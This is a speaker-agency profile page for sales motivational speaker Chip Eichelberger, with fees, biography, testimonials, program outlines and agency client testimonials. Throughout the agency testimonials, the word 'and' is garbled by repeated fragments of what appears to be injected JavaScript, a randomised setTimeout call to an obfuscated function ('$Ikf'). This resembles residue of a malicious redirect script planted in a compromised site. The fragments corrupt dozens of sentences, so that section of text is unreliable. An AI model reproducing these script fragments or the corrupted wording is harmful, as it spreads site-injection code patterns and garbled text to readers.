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Chip Eichelberger
Travels From TRAVELS FROM
Tennessee, USA
Speaker Fee Range SPEAKING FEE RANGE ** Please note that while this speaker’s specific speaking fee falls within the range posted above (for Continental U.S. based events), fees are subject to change. For current fee information or international event fees (which are generally 50-75% more than U.S based event fees), please contact us.
$10,000 to $15,000
Book This Core Agency Speaker BOOK CHIP EICHELBERGER
speakers@coreagency.com
PROFILE
Chip Eichelberger
Travels From TRAVELS FROM
Tennessee, USA
Travels From SPEAKING FEE RANGE*
$10,000 to $15,000
Email Core Agency Book Chip Eichelberger
speakers@coreagency.com
  • One of the nation’s leading sales motivational speakers, Eichelberger helps audiences “Get Switched On” to their capacity to excel.
  • Two-time Sales Leader of the Year during five years spent working with business guru Tony Robbins.
  • Veteran of over 1,000 personal appearances, customized specifically for each audience.
  • A Certified Speaking Professional, a designation achieved by just seven percent of members of the National Speakers Association.

Chip Eichelberger is one of the nation’s leading sales motivational speakers, helping companies ranging from Hyatt, Wells Fargo, and Blue Cross/Blue Shield to the University of Michigan athletic department “Get Switched On” to achieve new levels of sales performance. A committed researcher who carefully tailors his presentations to the specific needs of each business or organization, Eichelberger is renowned for his energy, enthusiasm, and talent for inspiring audiences.

Eichelberger began his career with Jantzen Sportswear before corporate layoffs proved serendipitous. In need of employment, he signed on to work with famous business leader Tony Robbins, quickly becoming a leading sales professional within the organization. During his five years with Robbins, Eichelberger was twice ranked Sales Leader of the Year. He hired, trained, and led sales teams in the United States and in both Australia and the United Kingdom. Since beginning his own brand Eichelberger has appeared before over 1,000 audiences and earned the Certified Speaking Professional designation, held by just seven percent of National Speakers Association members.

In addition to his passionate and inspiring personal appearances, Eichelberger shares his talent for growing company sales through audio and video products and in his books, 10 Secrets of Marketing Success: How to Jump-Start Your Marketing and the co-authored The Smart Guide to Accomplishing Your Goals.

VIDEOS
TESTIMONIALS

"There is a reason we have had you speak fourteen times at sales rallies across Canada and be the closing speaker at two national conventions. You do your homework to provide content our agents need to hear, while combining great energy and humor with a sincere delivery that captivate the audience. I strongly recommend you to any company wanting to take their meeting from good to great!"
Don Lawby
Century 21 Canada President and CEO

"Thank you so very much for your excellent presentation. I am confident your message will help us to the next level of productivity. You seemed to be dialed in to exactly our needs and it really showed. So many of our sales people approached me after the conference and were just amazed at how you were able to reach them at the core of their issues. I have to say, of all the inspirational speakers that we have heard and used, yours was by far the most meaningful and insightful."
Tony Horpel
President & CEO Great Northern Financial Securities

"I mean this sincerely. Chip did a fantastic job of getting my annual sales conference charged and ready for the New Year. You did your homework and it showed. After your presentation everyone in the room knew they had what it takes to go out and make it happen!"
Jose Becquer
Vice President Treasury Management Wells Fargo

"I had a few account executives tell me that they had their best day in the field, ever, the very next day because they used a mind set you had given them. I had another AE tell me she thought some of the personal life balance ideas you had was going to change her life. All agreed it was the best sales meeting ever.

"I was very impressed on how you seemed to know intimate details about our industry, my sales team, and our current issues. You seemed to really do your homework on us. It felt as though you were an "insider" speaking to us. Personally, I′m always a happier, more focused person after I see you speak. My boss and my family thanks you."
Steve Emminger
Sales Manager First Franklin

"Chip is the first speaker we′ve invited to return and facilitate a team building session for senior managers at our annual company conference. His commitment, energy and enthusiasm are contagious. A key to Chip′s ability to get the most out of the session and to engage the team is the importance he places on preparing for the specific audience through numerous conversations with different team members. As a result, his presentations do not appear to be ′off the shelf′ but are customized and unique."
Anthony Joseph
President Concessions International

"I was convinced in less than a minute that I had the right speaker after viewing your video on your web site. What exceed my expectations was the level of customization and preparation you went through to make this event something special for all the participants. Your message was simply inspirational, believable, humorous and most importantly sincere.

I received countless comments on not only how energized they felt, but also how amazed they were that an "outside speaker" could leave everyone with the impression you were a long-term employee."
David Bee
Director, Program Management, Boston Scientific, Inc.

"From our initial telephone conversation to the very last detail onsite, it was clear you were committed to providing our attendees with a relevant message to excite them, motivate them and get them ready to tackle three days of training. I was pleased to discover that you asked for references and followed up with them to discover the minute details about who we are. I feel this was very apparent in your presentation and thus, our audience of 3400 attendees was captivated."
Erin O′Donnell,
United States General Services Administration, Business Management Specialist

"Thank you so very much for your excellent presentation. I am confident your message will help us to the next level of productivity. You seemed to be dialed in to exactly our needs and it really showed. So many of our sales people approached me after the conference and were just amazed at how you were able to reach them at the core of their issues. I have to say, of all the inspirational speakers that we have heard and used, yours was by far the most meaningful and insightful."
Tony Horpel
President & CEO Great Northern Financial Securities

Partial Client List:

Bank of America,
Prudential,
Tommy Hilfiger,
IBM,
Mass Mutual,
A Association,
Procter & Gamble,
GlaxoSmithKline,
Castrol,
PriceWaterhouseCoopers,
American Standard,
Culligan, Toyota,
Ford,
Nokia,
Century 21,
Bechtel,
Chemical,
CVS,
Washington Hospital Center

PROGRAMS

Chip Eichelberger believes the key to business success is to “Get Switched On,” taking advantage of the power of attitude and creativity to drive up sales and enhance customer service. Do you need to “switch on” your persuasive skills? “Switch on” your capacity to close sales? Eichelberger will share tailored advice geared toward addressing your company’s specific needs.

Responsibility is the key to successful performance. Innovative leaders don’t just follow traditional practices; they consistently re-evaluate, retool, and regenerate their thinking to maintain a fresh approach toward business. Eichelberger helps audiences learn how to carefully evaluate, keep track of successes and failures, and generate the “ownership” mentality that represents the pinnacle of responsible leadership.

In addition to targeting his presentations toward the specific needs of each business, Eichelberger offers special content for boards ready to take on the challenge of leading their organizations to new levels. Motivating a team requires learning to tell your story with impact; Eichelberger helps boards improve their projection and presentation of company goals.

GET SWITCHED ON!

The Power of Attitude and Activity

"Get Switched On" generates incredible energy and inspires your people; they, in turn, can attract and generate the energy to increase sales, energy to enhance customer service, energy to learn to do something new. Get Switched On for every phone call, sales call, every customer service interaction, every opportunity and when you walk in the door at home.

Because of the energy and interaction in this session it is the perfect opening or closing program! Open the day with this talk and close the day with the Board Break Experience.

OWN IT!

Take Charge of Your Performance

Moving a company or your performance from "good" to "great" is not a matter of just moving up the next rung of the ladder. It's not like moving next door -- it's more like moving to another country-- that's how big the gap is. How do you bridge that chasm? Own It! taps into the hidden potential inside each one of us and shows how the power of making even one new decision can ignite tremendous performance improvements. Chip covers the key elements - re-evaluation, making new decisions, keeping score, moving the target and the power of attitude and activity. They can transform your team from a followership model to an ownership model. This shift can lead you, your team, and your company to dramatic and quick results why they own it.

THE BOARD BREAK EXPERIENCE

Breaking Barriers

What will dominate the conversations at your next event? The board break is an intense, emotional and climatic physical metaphor dedicated to over-achievement and pushing your team spirit to new and lasting heights. When people are concentrating on catching others doing things right - anything is possible. Often added to other keynotes to create an extraordinary half-day presentation.

SWITCH ON YOUR PERSUASION!

Just because you are an expert does not mean you are interesting to listen to. It is hard to persuade people if you are boring to listen to, lack a clear outcome, do not engage the listener and do not ask for a commitment. This hands-on seminar is designed for leaders and managers who must motivate and lead their team to achieve consistently better results and sales people who make presentations and must persuade their clients to take action. You need to tell your story with impact!

SWITCH ON YOUR SALES!

It is Not What the Market is Doing, What Are You Doing! To succeed in sales is more difficult than ever. What can you do to stand out from the competition? What simple things can you put into a sales success system to get customers to say WOW, be loyal and refer you to others? When you are great at what you do you are in such contrast to so many sales people who really suck! Chip shares the ideas harnessed from his experience and from his research with his hundreds of clients.

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WHAT CLIENTS ARE SAYING ABOUT CORE SPEAKERS

“Working with your speakers agency on our training projects during the year proved to be a great business choice. I felt that my account reps were always around when I needed them, willing to help andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and listen. They showed flexibility when it was required andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and were reliable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and dependable. ”
KPMG, Europe
KPMG, Europe
“I will certainly recommend to others that they contact you for guest speakers in the future. It was a pleasure working with you as well. We all appreciate your professionalism andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and exemplary service.”
BASF
BASF
“I'm extremely impressed with your speakers bureau's follow-through, responsiveness andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and willingness to understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and our needs so that he could match the best speakers with what we are looking for. I will definitely work with you again in the future. Thank you for all that you did to help us create an exceptional learning experience for our attendees.”
American Society of Association Executives
American Society of Association Executives
“Our agent was great to work with. Very easy to reach when needed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and promptly returned messages. Thank you for making our event such a big success, we are looking forward to working with you again soon!”
American Lung Association
American Lung Association
“Everyone at your speakers agency were professional andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and helpful throughout the process, making it easy to book, communicate, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and prepare for our event.”
Hewlett Packard
Hewlett Packard
“Our speakers were absolutely outstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and top class. Once again, thank you for making this happen for us. You have been outstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the best speakers bureau we have ever worked with!”
Volkswagen
Volkswagen
“Your speakers bureau was a tremendous resource for the NHL as we planned andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and executed our NHL Club Business Meetings. Their assistance with securing our keynote was invaluable. They provided detailed information in a timely manner which was crucial to the success of the event. The execution was seamless! ”
National Hockey League
National Hockey League
“Our Account Executive is an extraordinary person. Always available, very kind andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and funny. Eager to help andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and always quick to respond. I have so much fun working with him. A very delightful experience. I hope continue working together for years to come!”
Credicorp Bank
Credicorp Bank
“My account executive was very professional as well as patient with us. The entire experience of working with your agency was cordial andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and professional, with attention to all the, sometimes complicated, important details.”
U.S. Department of Agriculture
U.S. Department of Agriculture
“I just wanted to send a quick follow-up note to say – THANK YOU! I appreciate your partnership, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and perseverance in helping us to find the right speaker for our group. Our speaker was absolutely excellent! The group loved him; it was perfect.”
DeVry Education Group
DeVry Education Group
“Once again our agent did an outstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding job. Not only did he provide me with a number of options for potential speakers but he helped with seeing who was available, when they could speak, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and getting everything done in a timely fashion. I look forward to working with him again.”
Auburn University
Auburn University
“Working with your speakers bureau has been a pleasure. Everyone on your team was extremely responsive andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and informative, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and really helped us to customize our event. I will be sure to reach out to your agency again in the future with any speaker needs that I may have.”
The Advisory Board Company
The Advisory Board Company
“Finding the appropriate speaker for an event is a challenge. Your stellar speakers agency made the process extremely easy. I would recommend your agency to anyone.”
Mercury University
Mercury University
“Everyone at your speakers bureau was incredibly attentive andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and easy to work with; you have been a conference organizer's dream!”
ABS Capital Partners
ABS Capital Partners
“SPEAKING.com / Core Agency were very helpful in every way possible. I would recommend them to others andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we will most definitely secure all our future conference speakers through them again.”
Babcock & Wilcox
Babcock & Wilcox
“It was an extreme pleasure to work with our account rep. She was friendly, flexible, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and knowledgeable about all their speakers. She made the process simple. I cannot begin to put into words the impact that our speaker had on our audience. People are still taking about his presentation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and his program set a standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard on all diversity programs.”
FDIC: Federal Deposit Insurance Corporation
FDIC: Federal Deposit Insurance Corporation
“Our event was what I would call 'over the top'... The survey results were at 92% very favorable. The speakers formed such a good relationship with myself andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and others at the conference. I am confident we will bring them back to do more. I will definitely contact you when we are in need of additional services. You have been the best!”
American Express
American Express
“I so appreciated my representative for his responsiveness and for the ease with which I could communicate with him. This was my first time having to secure the talent for our program myself, and I could not have asked for a better experience with your speakers agency.”
Mayor’s Commission on Unity, Diversity and Prosperity for Columbus, GA
Mayor’s Commission on Unity, Diversity and Prosperity for Columbus, GA
“This has been one of the most outstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding speaker agencies I have had in my 25+ years in the hospitality industry. They have helped my company secure speakers for years to the delight of my attendees. They have secured high profile speakers, even within the confines of a tight turnaround andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and an even tighter budget. I recommend their services without hesitation. They are truly leaders in their profession looking out for their clients: excellent is all I can say!”
AHIMA
AHIMA
“The retreat was extraordinary, professional, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and personable. Everyone is still raving about it. They said it was the best experience of their lifetime. And, I would have to agree. I most certainly hope we have the opportunity to work together in the future.”
YPO: Young Presidents’ Organization
YPO: Young Presidents’ Organization
“My Account Executive was able to work within my quick turn around time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and price limitations to find the perfect speaker for the job. Although I thought finding andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and booking a speaker for our sales meeting would be the most difficult part of the planning process, your agency made it the easiest.”
Ales Group USA, Inc.
Ales Group USA, Inc.
“SPEAKING.com does a wonderful job! Our AE always responds promptly andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is very professional, thank you!”
AlphaNet
AlphaNet
“Our client rep was a pleasure to work with. He was well organized andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and kept me updated every step of the way. The level of professionalism andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the quality of the materials received were excellent. I will be in touch for future speakers!”
Mattel
Mattel
“Our Account Executive was a pleasure to work with to arrange our keynote presenter for the Sustainable Brands Sydney Conference. He was swift to respond and his communication was always clear. If I am looking for international speakers, I will think of SPEAKING.com in future.”
Sustainable Brands
Sustainable Brands
“Our account rep was fantastic; he is very responsive, handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andled registration for our speaker, submitted the contract andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and invoice quickly - so easy to work with. Thank you!”
Deloitte
Deloitte
Core: the central, innermost, or most essential part of anything.
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